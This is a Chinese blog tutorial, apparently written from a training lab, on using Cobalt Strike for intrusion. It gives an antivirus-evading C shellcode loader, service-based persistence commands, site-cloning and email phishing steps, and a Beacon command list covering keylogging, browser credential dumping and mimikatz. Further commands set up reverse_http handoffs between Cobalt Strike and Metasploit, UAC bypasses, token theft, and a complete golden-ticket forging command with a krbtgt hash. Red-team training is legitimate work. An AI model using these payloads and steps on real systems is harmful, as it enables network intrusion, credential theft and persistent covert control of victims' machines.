• cobalt strike 的基础使用


    cobalt strike 的基础使用

    本次实验环境靶场来自于暗月(moonsec)师傅,文中内容全由个人理解编制,若有错处,大佬勿喷,个人学艺不精;本文中提到的任何技术都源自于靶场练习,仅供学习参考,请勿利用文章内的相关技术从事非法测试,如因产生的一切不良后果与文章作者无关。

    前言

    Cobalt Strike是一款基于java的渗透测试神器,常被业界人称为CS神器。自3.0以后已经不在使用Metasploit框架而作为一个独立的平台使用,分为客户端与服务端,服务端是一个,客户端可以有多个,非常适合团队协同作战,多个攻击者可以同时连接到一个团队服务器上,共享攻击资源与目标信息和sessions,可模拟APT做模拟对抗,进行内网渗透。

    Cobalt Strike集成了端口转发、服务扫描,自动化溢出,多模式端口监听,win exe木马生成,win dll木马生成,java木马生成,office宏病毒生成,木马捆绑;钓鱼攻击包括:站点克隆,目标信息获取,java执行,浏览器自动攻击等等。

    目录结构

    │ agscript 				# 拓展应用的脚本
    │ c2lint 				# 检查profile的错误异常
    │ cobaltstrike
    │ cobaltstrike.jar 		# 客户端程序
    │ icon.jpg
    │ license.pdf
    │ readme.txt
    │ releasenotes.txt
    │ teamserver 			# 服务端程序
    │ update
    │ update.jar
    │
    └─third-party 			# 第三方工具
       README.vncdll.txt
       vncdll.x64.dll
       vncdll.x86.dll
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16

    个人定制

    • Cobalt Strike可以使用 AggressorScripts脚本来加强自身,能够扩展菜单栏,Beacon命令行,提权脚本等
    • Cobalt Strike通信配置文件是 Malleable C2 你可以修改 CS的通讯特征,Beacon payload的一些行为
    • Cobalt Strike可以引用其他的通讯框架ExternalC2,ExternalC2是由Cobalt Strike提出的一套规范/框架,它允许黑客根据需要对框架提供的默认HTTP(S)/DNS/SMB C2 通信通道进行扩展。

    启动运行服务端

    cobalt strike 分为服务端和客户端

    团队服务器最好运行在Linux平台上,服务端的关键文件是 teamservercobaltstrike.jar ,将这两个文件放在同一目录下运行:

    # 启动服务端,监听IP 10.10.10.11,连接密码为:123456(搭建在外网的时候一定要设置强密码)
    sudo ./teamserver 10.10.10.11 123456
    
    
    # 详细命令说明:
    # ./teamserver   [/path/to/c2.profile] [YYYY-MM-DD]
    #  必需参数 团队服务器IP
    #  必需参数 连接服务器的密码
    # [/path/to/c2.profile] 可选参数 指定C2通信配置文件,体现其强大的扩展性
    # [YYYY-MM-DD] 可选参数 所有payload的终止时间
    
    # 如果遇到没有权限执行,使用以下命令添加执行权限
    sudo chmod +x teamserver
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13

    image-20220730163827481

    上面的命令只有关闭了终端就会结束,我们可以使用以下命令来把服务放到后台运行,防止关闭终端会结束服务。

    sudo nohup ./teamserver 192.168.0.190 123456 &
    
    • 1

    修改默认端口

    修改默认的端口只需要修改 teamserver 文件中的配置即可。

    sudo vim teamserver
    
    • 1

    image-20220730164610295

    客户端连接

    Windows 客户端连接:

    点击 start.bat

    image-20220730165008169

    Linux 客户端连接:

    运行以下命令:

    sudo ./cobaltstrike
    
    • 1

    image-20220730165215081

    基础使用

    后门生成模块的使用

    在生成后门界面中,给我们内置了五种后门生成方案。

    image-20220730165851694

    分别为:

    • HTA文档
    • Office 宏
    • Payload 生成器
    • Windows 可执行程序(EXE, DLL)
    • Windows 可执行程序(Raw, Powershell)

    HTA文档

    是后门的一种

    这里他给我们提供了3种生成方式 exe,powershell,vba。其中VBA方法需要目标系统上的MicrosoftOffice,在系统支持的情况下我们一般选择powershell,因为这种方式更加容易免杀。通常我们结合host File(文件下载功能) 来实行钓鱼。

    image-20220730170602791

    Office 宏

    image-20220730171911230

    设置完成后,保存文件为dotm后缀名。

    payload生成器

    cs里 提供一个payload生成器,因为默认的shellcode容易被杀毒软件发现,可以编写shellcode加载器运行payload 达到免杀的效果。

    image-20220730173011704

    这里使用师傅的c/c++加载器,使用vs2019编译。

    #include 
    #include 
    #pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"")// 不显示窗口
    unsigned char shellcode[] = "\xfc..";;
    void main()
    {
        LPVOID Memory = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT |
        MEM_RESERVE, PAGE_EXECUTE_READWRITE);
        if (Memory == NULL) { return; }
        memcpy(Memory, shellcode, sizeof(shellcode));
        ((void(*)())Memory)();
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12

    编译记得使用Release模式而不是Debug 生成 否则会出现错误

    windows可执行程序

    提供三种生成类型:

    • windwos可执行程序 直接双击运行
    • windwos服务程序 可以使用sc命令做成服务程序
    sc create "server1" binpath= "C:\WINDOWS\Temp\server1.exe"
    sc description "server1" "description"
    sc config "server1" start= auto
    net start "server1"
    
    • 1
    • 2
    • 3
    • 4

    image-20220730173511860

    执行之后 是system权限,这种方法cs留后门的一种方法。

    • windows dll文件

    在windows的system文件夹下有一个regsvr32.exe的程序,它就是windows自带的activex注册和反注册工具。(activex不注册是不能够被系统识别和使用的,一般安装程序都会自动地把它所使用的activex控件注册)。Regsvr32命令用于注册COM组件,是 Windows 系统提供的用来向系统注册控件或者卸载控件的命令,以命令行方式运行。

    regsvr32 命令详解:

    "regsvr32 [/s] [/n] [/i(:cmdline)] dllname”
    
    # 其中dllname为activex控件文件名,建议在安装前拷贝到system文件夹下。
    参数有如下意义:
    /u      	# 反注册控件(卸载com组建)
    /s   		# 不管注册成功与否,均不显示提示框(静默模式,不弹框)
    /c			# 控制台输出
    /i   		# 跳过控件的选项进行安装(传给DllInstall的参数内容,regsvr32 允许注册过程中 dll 进行一些自定义的安装过程,该过程在 DllInstall 中实现。)
    /n			# 不注册控件,此选项必须与/i选项一起使用
    Scrobj.dll	# com服务器,全名Windows Script Component,DllInstall方法在这个组件中实现。
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10

    Regsvr32.exe 直接调用dll程序

    c:\Windows\System32\regsvr32.exe C:\Windows\Temp\artifact.dll
    
    • 1

    windwos可执行程序 (Stageless)

    添加了多种方式上线cs。

    介绍:Staged 和 Stageless 的区别. 前者的实际功能只是和 C2 建立连接并接收 Payload, 然后加载执行,而 Stageless 直接省去了接收 Payload 的步骤. Stageless 生成除了的 Payload 都会比 Staged 类型的要大很多, 而且包含了特征明细。

    web钓鱼模块

    cs提供了钓鱼模块 方便渗透测试人员进行钓鱼。

    Manage 					# 对开启的web服务进行管理;
    Clone Site 				# 克隆网站,可以记录受害者提交的数据;
    Host File 				# 提供一个文件下载,可以修改Mime信息;
    Scripted Web Delivery 	# 类似于msf 的web_delivery ;
    Signed Applet Attack 	# 使用java自签名的程序进行钓鱼攻击;
    Smart Applet Attack 	# 自动检测java版本并进行攻击,针对Java 1.6.0_45以下以及Java 1.7.0_21以下版本;
    System Profiler 		# 用来获取一些系统信息,比如系统版本,Flash版本,浏览器版本等。
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7

    image-20220730174406155

    站点管理

    这里主要是cs自带的web服务,访问ip加上端口 则可以访问。

    克隆网站

    这个模块主要的作用 克隆一个网站 发送给受害者 受害者访问的时候 可以收集受害者提交的信息,同时也可以选择攻击下载文件。

    image-20220730174839066

    成功克隆网站并且弹出后门下载

    image-20220730180224737

    信息模块

    这个主要是生成一个页面 让受害者访问 收集受害者的浏览器系统信息

    image-20220730180739236

    浏览器访问 http://10.10.10.11:80/baidu

    收集的信息在web日志中查看

    image-20220730180751437

    邮件钓鱼

    首先准备eml的钓鱼模板 这个模板可以在qq邮箱里导出

    image-20220730181000362

    准备模板后 选择邮箱钓鱼模板

    image-20220730181011623

    点击发送即可 模板上可以看到 url跳转到准备好的url上。

    image-20220730181024166

    Beacon的使用

    Beacon是Cobalt Strike为高级攻击者建模的Payload。使用Beacon通过HTTP,HTTPS或DNS出口网络。而且Beacon非常灵活,支持异步和交互式通信。异步通信既低又慢。Beacon将通讯本地,下载任务,然后进入睡眠状态。交互式通信实时发生。

    image-20220730181633917

    beacon的命令

    Command          		Description
     -------         	 	-----------
     argue           		命令行参数欺骗
     blockdlls         		禁止子进程加载非微软签名的dll
     browserpivot       	注入浏览器进程代理用户已认证身份(仅支持IE)
     cancel          		取消正在下载的文件
     cd            			跳转目录
     checkin          		强制目标回连并更新状态(用于DNS上线,DNS模式下无新任务时目标不会回连Teamserver)
     chromedump        		提取Chrome保存的账号密码、Cookies等信息
     clear           		清空beacon任务队列
     connect          		通过TCP正向连接远程Beacon
     covertvpn         		部署Covert VPN客户端
     cp            			复制文件
     dcsync          		从域控提取密码hash
     desktop          		远程VNC控制用户桌面
     dllinject         		注入一个内存反射加载的dll到目标进程
     dllload          		使用LoadLibrary方式在目标进程中加载一个dll
     download         		下载文件
     downloads         		列出所有正在下载的文件
     drives          		列出所有磁盘盘符
     elevate          		利用提权漏洞获取一个高权限Beacon
     execute          		在目标上执行程序(无回显)
     execute-assembly   	在目标上内存加载执行本地.NET程序
     exit           		结束当前Beacon会话
     getprivs         		在当前进程访问令牌(access token)中启用system特权
     getsystem         		尝试获取SYSTEM用户权限
     getuid          		获取当前进程访问令牌(access token)的用户信息
     hashdump         		获取本地用户hash
     help           		帮助信息
     inject          		在指定进程中注入新的Beacon会话
     inline-execute     	在当前会话中执行Beacon Object File
     jobkill          		结束一个后台任务
     jobs           		列出所有后台任务
     jump           		在远程机器上植入Beacon(横向移动)
     kerberos_ccache_use    从ccache文件导入kerberos票据到当前会话中
     kerberos_ticket_purge  清空当前会话中的所有kerberos票据
     kerberos_ticket_use    从ticket文件中导入kerberos票据到当前会话中
     keylogger         		开启键盘记录
     kill           		结束指定进程
     link           		通过命名管道正向连接远程Beacon
     logonpasswords      	使用mimikatz获取密码和hash
     ls            			列出目录文件
     make_token        		创建进程访问令牌(access token),仅用于访问网络资源
     mimikatz        		 运行mimikatz
     mkdir           		创建目录
     mode dns         		使用DNS A记录作为数据通道(仅支持DNS上线Beacon)
     mode dns-txt       	使用DNS TXT记录作为数据通道(仅支持DNS上线Beacon)
     mode dns6         		使用DNS AAAA记录作为数据通道(仅支持DNS上线Beacon)
     mv            			移动文件
     net            		网络和主机探测工具(内置net命令)
     note           		给当前会话添加备注信息
     portscan         		网络端口扫描
     powerpick         		内存执行Powershell命令(不调用powershell.exe)
     powershell        		通过powershell.exe执行Powershell命令
     powershell-import     	导入本地powershell脚本到当前会话中
     ppid           		为所有新运行的进程设置伪造的父进程PID
     printscreen        	使用PrintScr方式截屏
     ps            			显示进程列表
     psinject         		注入到指定进程后在内存中执行Powershell命令(不调用powershell.exe)
     pth            		使用Mimikatz执行Pass-the-hash
     pwd            		显示当前目录
     reg            		查询注册表
     remote-exec        	在远程机器上执行命令(横向移动)
     rev2self         		恢复原始进程访问令牌(access token)
     rm            			删除文件或文件夹
     rportfwd         		反向端口转发(从Cobalt Strike Teamserver发起连接)
     rportfwd_local      	反向端口转发(从Cobalt Strike客户端发起连接)
     run            		在目标上执行程序(有回显)
     runas           		以另一个用户身份执行程序
     runasadmin       	 	以高权限执行程序
     runu           		以另一个进程PID作为父进程PID,并以其用户身份执行程序
     screenshot        		截屏
     screenwatch        	屏幕监控,每隔一段时间截屏
     setenv          		设置环境变量
     shell           		使用cmd.exe执行命令
     shinject         		注入shellcode到指定进程中
     shspawn          		创建傀儡进程并注入shellcode到其中运行
     sleep           		设置beacon回连间隔时间
     socks           		启动SOCKS4a代理服务器
     socks stop        		停止SOCKS4a代理服务器
     spawn           		创建一个新Beacon会话
     spawnas          		以另一个用户身份创建一个新Beacon会话
     spawnto          		设置创建新进程时使用的可执行文件路径(傀儡进程的宿主exe文件路径)
     spawnu          		以另一个进程PID作为父进程PID,并以其用户身份创建一个新Beacon会话
     spunnel          		运行第三方agent shellcode并将其反向代理到控制端(从CobaltStrike Teamserver发起连接)
     spunnel_local       	运行第三方agent shellcode并将其反向代理到控制端(从CobaltStrike客户端发起连接)
     ssh            		通过SSH连接远程主机(使用账号密码认证)
     ssh-key          		通过SSH连接远程主机(使用证书私钥认证)
     steal_token        	从指定进程中窃取访问令牌(access token)
     timestomp         		复制B文件的创建、访问、修改时间戳到A文件(文件时间戳伪造)
     unlink          		断开与beacon的连接(用于通过TCP、命名管道连接的beacon)
     upload          		上传文件
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58
    • 59
    • 60
    • 61
    • 62
    • 63
    • 64
    • 65
    • 66
    • 67
    • 68
    • 69
    • 70
    • 71
    • 72
    • 73
    • 74
    • 75
    • 76
    • 77
    • 78
    • 79
    • 80
    • 81
    • 82
    • 83
    • 84
    • 85
    • 86
    • 87
    • 88
    • 89
    • 90
    • 91
    • 92

    同样的这些命令也有图形化的按钮。

    端口扫描

    流量探测 端口扫描 选择扫描存活的方式 arp icmp 选择扫描的网卡 也可以指定端口

    image-20220730183537295

    image-20220730183635521

    网络探测

    beacon 提供net命令 以下是这个命令的一些常用方法

    beacon> help net
    Use: net [命令] [参数]
    Beacon内置的主机和网络枚举探测工具。 支持的 [命令] 列表有:
       命令         			描述
       -------       		-----------
       computers      		列出域中的主机(通过组)
       domain       		显示该主机的域
       dclist       		列出域控制器
       domain_controllers 	列出域控制器(通过组)
       domain_trusts    	列出域信任
       group        		列出组中的成员组和成员用户
       localgroup     		列出本地组中的成员组和成员用户
       logons       		列出登录到指定主机的用户
       sessions      		列出指定主机上的会话
       share        		列出指定主机上的共享
       user        			列出用户和用户信息
       time        			显示指定主机上的时间
       view        			列出域中的主机(通过browser服务)
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18

    查看网络信任主机

    image-20220730183827961

    列出域控

    image-20220730184012423

    这里我没有开启域控的主机所以显示没有域控。

    浏览器代理

    先把beacon 简介时间设置为0 sleep 0
    先把 beacon 设为交互模式。因为浏览器跳板是通过 beacon 会话来隧道通信传输数据的,所以 beacon连接到团队服务器的频率会影响浏览器跳板的同步性。所以要把 beacon 会话设为交互模式来实现最好的效果

    然后设置浏览器跳板代理( agent )。这一步实际上会完成两个任务:

    • 将 agent 程序注入受害机器的 IE 浏览器进程
    • 在团队服务器的一个端口上开启一个 HTTP 代理服务器

    image-20220730184242890

    实际上,这个过程也可以通过 browserpivot 命令来实现。效果是等同的。 停止方式 browserpivot stop
    如果目标上 登录 某些网站 通过设置浏览器代理后,访问网站即可登录

    image-20220730184314861

    访问目标网站

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-4s89RIQz-1659187783610)(…/…/…/AppData/Roaming/Typora/typora-user-images/image-20220730184326927.png)]

    代理转发

    socks代理

    使用socks代理
    在指定端口上启动SOCKS4a代理服务器,该服务器将通过当前Beacon中继网络连接

    • teamserver 192.168.150.145
    • win 7 192.168.150.166 10.10.10.135
    • 12server-ad02 10.10.10.137

    使用cs获取 win 7 权限 设置socks代理

    image-20220730190258634

    image-20220730190321526

    设置 sudo vi /etc/proxychains4.conf

    socks4 192.168.0.145 3652
    
    • 1

    proxychain4 调用 nmap 扫描 目标机子

    proxychains4 nmap -sT -Pn 10.10.10.137 -p 445
    
    • 1

    image-20220730190642402

    metasploit 使用这个代理

    setg Proxies socks4:192.168.0.195:1080 	# 设置全局代理
    setg ReverseAllowProxy true 			# 允许反向代理,通过socks反弹shell,建立双向通道。(探测可以不设置此项)
    
    • 1
    • 2

    image-20220730190729269

    转发上线

    转发监听器可以利用已攻陷的机器作为代理,为其他Beacon会话的中转网络流量,即内网其他机器可通过连接攻陷机器上线。

    • teamserver 192.168.150.145
    • win 7 192.168.150.166 10.10.10.135
    • 目标机器 10.10.10.137

    首先新建监听器 监听器使用当前会话

    image-20220730190951583

    image-20220730192009338

    接着新成后门 选择这个rve监听器

    image-20220730191110240

    在目标机器执行 beacon 上线

    image-20220730192128811

    切换视图

    image-20220730192156782

    这种方式也可用于多层网段反向上线。

    VPN部署

    为CovertVPN新建一个虚拟机网卡和监听器。当部署CovertVPN客户端后,你将相当于在目标网络中拥有一个二层网络的tap接口

    新建vpn 选择网卡

    image-20220730192335407

    在团队服务器中,配置刚刚的 VPN 接口:
    先连接到刚刚的 VPN 接口,能找到此设备:

    在kali上

    sudo ifconfig phear0 10.10.10.0/24
    
    • 1

    image-20220730192709677

    对内网10段进行代码扫描

    nmap -sT -Pn 10.10.10.137 -p 445
    
    • 1

    image-20220730192801023

    回到 CS 的 VPN Interfaces 这里可以看到数据走 VPN 在收发:

    image-20220730192839431

    会话操作

    Cobalt Strike 的 Beacon 最初是一个稳定的生命线,让你可以保持对受害主机的访问权限。从一开始,Beacon 的主要目的就是向其他的 Cobalt Strike 监听器传递权限。使用 spawn 命令来为一个监听器派生一个会话。此 spawn 命令接受一个架构(如:x86,x64)和一个监听器作为其参数。默认情况下, spawn 命令会在 rundll32.exe 中派生一个会话。

    spwan派生会话

    beacon> help spawn
    Use: spawn [x86|x64] [监听器]
      spawn [监听器]
    # 创建一个x86或x64傀儡进程,并注入运行从 [监听器] 生成的shellcode
    
    • 1
    • 2
    • 3
    • 4

    image-20220730193227260

    我们可以看到又多了一个会话。

    image-20220730193250415

    注入进程获取会话

    image-20220730193539038

    有的进程会失败,可以多尝试一下其他进程。

    image-20220730193918053

    cobalt strike 与 msf 联动

    cobalt strike派生会话到msf

    当Cobaltstrike获取到上线主机后,有时候需要传递会话到MSF,操作如下:

    首先建立新的Foreign HTTP监听器,设置IP为MSF接收的IP,设置Port是一会儿MSF监听的端口

    这里我的msf和cs是在同一个主机上,大家根据自己的真实情况进行修改。

    use exploit/multi/handler
    set payload windows/meterpreter/reverse_http
    set lhost 192.168.150.145
    set lport 8888
    run
    
    • 1
    • 2
    • 3
    • 4
    • 5

    设置cs监听器

    image-20220730194504958

    在beacon使用命令 spawn cs->msf 会话会派生到msf里

    image-20220730194602554

    msf运行后会收到会话

    image-20220730194628300

    metasploit 派生会话到 cs

    如果Metasploit已经获取到了一个会话,可以通过payload_inject模块进行会话派生,将会话传递到Cobaltstrike
    首先建立监听器

    image-20220730194754508

    在msf种选择 payload_inject 模块 设置参数 disablepayloadhandler 禁止msf监听

    use windows/local/payload_inject
    set disablepayloadhandler true
    set paylaod windows/meterpreter/reverse_http
    set lhost 192.168.150.145
    set lport 8999
    set session 1
    exploit
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7

    image-20220730200100890

    查看cs成功上线

    image-20220730200527448

    CS 后渗透操作

    在cs中有一个凭证提权模块

    获取hash

    image-20220730200938263

    提权

    ms14-058/ms15-051/ms16-016/ms16-032
    这些都是大家耳熟能详的Windows本地提权漏洞,在此插件中都已经集成

    UAC-DLL
    这是一种绕过UAC的攻击,它试图将本地管理员运行的有效负载从低权限提升到高权限。此攻击使用UAC漏洞将ArtifactKit生成的DLL复制到特权位置。此攻击适用于Windows7和Windows8及更高版本的未修补版本。

    uac-token-duplication
    这是另一种绕过UAC的攻击,将其从低权限提升到高权限(作为本地管理员)。这种攻击使用一个UAC漏洞,允许非提升进程使用从提升进程中窃取的令牌启动任意进程。此漏洞要求攻击删除分配给提升令牌的多个权限。此攻击适用于Windows7及更高版本。如果AlwaysNotify处于其最高设置,则此攻击要求提升的进程已在当前桌面会话中运行(作为同一用户),此漏洞使用PowerShell生成会话。

    Uac-eventvwr
    这种提权方法是利用时间查看器eventvwr,通过注册表之后,执行Eventvwr.exe会自动加载我们的A.exe(exp),这个时候他的权限就是高了,成功绕过UAV

    Uac-wscript
    这种绕过uac提权的方法最初是在Empire框架中现身的,该方法只针对Windows7有效提权方式 在网上找好的插件进行提取

    image-20220730201206757

    获取明文

    使用命令 logopasswords 获取hash 和明文

    image-20220730202025685

    横向渗透

    横向渗透攻击技术是复杂网络攻击中广泛使用的一种技术,特别是在高级持续威胁(AdvancedPersistent Threats,APT)中更加热衷于使用这种攻击方法。攻击者可以利用这些技术,以被攻陷的系统为跳板,访问其他主机,获取包括邮箱、共享文件夹或者凭证信息在内的敏感资源。攻击者可以利用这些敏感信息,进一步控制其他系统、提升权限或窃取更多有价值的凭证。借助此类攻击,攻击者最终可能获取域控的访问权限,完全控制基于Windows系统的基础设施或与业务相关的关键账户。在提权后,我们可以用mimikatz dump目标机的凭证,并进行内网横向移动

    使用 net view 列出信任主机

    image-20220730202304659

    1.psexec横移

    在执行端口扫描后
    目标视图中,选择一个目标,右键–>登录–psexec,即可选择凭证进行横向移动
    右键 横向移动 选择合适的模块进行登录

    image-20220730203456243

    可以看到我们成功的建立了ipc$ 连接。

    image-20220730203645744

    2.窃取令牌

    使用命令ps 寻找进程 接着命令steal_token pid pid是进程的id 选择合适权限的进程id即可

    image-20220730203951889

    如果存在域管 也可以获取域管理权限

    image-20220730204057621

    使用命令 rev2self 返回之前的权限。

    3.制作令牌

    使用make_token命令 将之前获取的 生成一个命令访问目标主机
    这里以访问域控为例

    beacon> help make_token
    Use: make_token [\用户名] [密码]
    # 克隆当前访问令牌,并在访问网络资源时设置为指定的用户名和密码
    
    • 1
    • 2
    • 3
    make_token redteam\administrator QWEasd123
    
    • 1

    image-20220730210615324

    4.制作黄金票据

    原理
    黄金票据的原理就是用krbtgt的hash来伪造TGT的内容。更改里面的client参数与session key等。让TGS以为我就是那个我所声称的人,当然我一般会声称自己是administrator。第四步主要是来验证客户端的身份。

    所谓的黄金票据其实就是kerberos认证的第二个阶段中的tgs的ticket也就是TGT。这个ticket相当于对请求端的一个身份认证的凭据,如果可以伪造这个ticket,那么就可以伪造任意身份,而黄金票据就是一个

    实现方式。
    首先使用命令获取 jump psexec64 ad01 smb 获取ad01的权限 得到权限后 命令 hashdump导出所有hash以及SID

    image-20220730210822110

    域sid S-1-5-21-2536581826-3274276096-3456299113 域普通用户 命令 whoai /user 去掉后三位

    image-20220730211449879

    mimikatz kerberos::golden /user:Administrator /domain:redteam.club /sid:S-1-5-21-2536581826-3274276096-3456299113 /krbtgt:689fe33346a9e9fe229395fb36178ecb /endin:480 /renewmax:10080 /ptt
    
    • 1

    访问 ad01 shell dir \\ad02\c$

    image-20220730211627599

    获取dc权限 jump psexec ad01 ad02a

    image-20220730212509395

  • 相关阅读:
    Go学习之路:流程控制语句:for、if、else、switch 和 defer(DAY 1)
    FL Studio 2023中文安装设置指南!四招教你玩转FL Studio21!
    SPA项目开发之首页导航+左侧菜单
    计算机毕业设计Java校园新闻网站(系统+源码+mysql数据库+lw文档)
    chatgpt赋能python:如何去除Python列表中的中括号
    好的家庭教育
    Mac多媒体播放器 Movist Pro v2.11.4中文激活版下载
    <学习笔记>从零开始自学Python-之-web应用框架Django( 八)Django表单
    Python字典全解析:从基础到高级应用
    如何编写有效的接口测试
  • 原文地址:https://blog.csdn.net/qq_53742230/article/details/126078033